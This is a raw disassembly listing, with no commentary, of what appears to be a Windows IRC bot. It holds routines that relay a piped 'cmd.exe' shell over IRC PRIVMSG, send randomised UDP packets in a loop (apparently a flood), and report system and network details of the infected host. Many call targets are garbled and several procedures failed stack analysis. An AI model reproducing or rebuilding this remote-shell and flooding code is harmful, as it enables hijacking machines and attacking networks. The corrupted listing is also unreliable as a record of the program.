loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43F58C inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43F720 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx call near ptr 25F0973h nop sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 2600000h push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43F6EC cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25F0973h loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43F668 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43F6CC push [ebp+var_28] nop call near ptr 2600833h dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43F668 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25F0973h sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43F9B4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43F9BC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43F9B0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4883p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43F9B8 nop call near ptr 2630000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43C80C push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h nop call near ptr 2600833h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43F9C0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43F9B4 nop call near ptr 2760468h test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43F9B0 nop call near ptr 2760000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah nop call near ptr 2600833h jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43F9B4 call near ptr 26210C4h nop test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43F9F4 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 25F0973h loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi call near ptr 25F0973h nop loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 25F0973h sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43F724 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43F9B8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2760885h test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43C80C push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 27404D9h test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43F9B4, eax mov eax, [ebp+var_8] mov dword_43F9BC, eax mov eax, [ebp+var_2C] mov dword_43F9B0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43F9F4, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43F9C0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4450C8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi nop call near ptr 2670BF1h cmp eax, esi mov dword_4450D4[edi], eax jnz short loc_40B71A call near ptr 26402CBh nop push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2600000h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43F9FC push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 27715E7h test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2600833h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43C80C mov [ebp+var_CC], 94h nop call near ptr 27715E7h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43F554 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2600889h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call near ptr 2670000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2660000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2780000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4557p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43F750, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43F538 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4976o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43F570 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea 